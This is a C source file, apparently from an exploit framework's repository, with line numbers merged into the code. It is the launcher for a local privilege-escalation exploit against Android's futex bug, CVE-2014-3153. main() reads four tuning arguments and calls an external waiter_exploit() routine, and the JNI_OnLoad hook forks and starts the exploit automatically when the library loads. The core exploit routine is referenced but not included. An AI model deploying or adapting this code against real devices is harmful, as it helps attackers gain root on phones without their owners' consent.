Path: blob/master/external/source/exploits/CVE-2014-3153/main.c
19566 views
#include <stdio.h>1#include <stdlib.h>2#include <stdbool.h>3#include <netinet/in.h>4#include <sys/socket.h>5#include <sys/ptrace.h>6#include <sys/syscall.h>7#include <sys/wait.h>8#include <sys/mman.h>9#include <fcntl.h>10#include <jni.h>11#include "log.h"1213extern int waiter_exploit();14extern int config_new_samsung;15extern int config_iovstack;16extern int config_offset;17extern int config_force_remove;1819void init_exploit() {2021LOGV("[+] <main> parent pid = %d", getpid());2223int retval = waiter_exploit();2425LOGV("Exploit result %d\n", retval);26}272829int main(int argc, char **argv) {3031if (argc > 4) {32config_new_samsung = atoi(argv[1]);33config_iovstack = atoi(argv[2]);34config_offset = atoi(argv[3]);35config_force_remove = atoi(argv[4]);36}3738init_exploit();3940exit(EXIT_SUCCESS);41}4243JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )44{45JNIEnv *env;46LOGV("onload, uid=%d\n", getuid());4748if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)49{50return -1;51}5253int pid = fork();54if (pid == 0) {55init_exploit();56}57return JNI_VERSION_1_4;58}5960JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )61{62}636465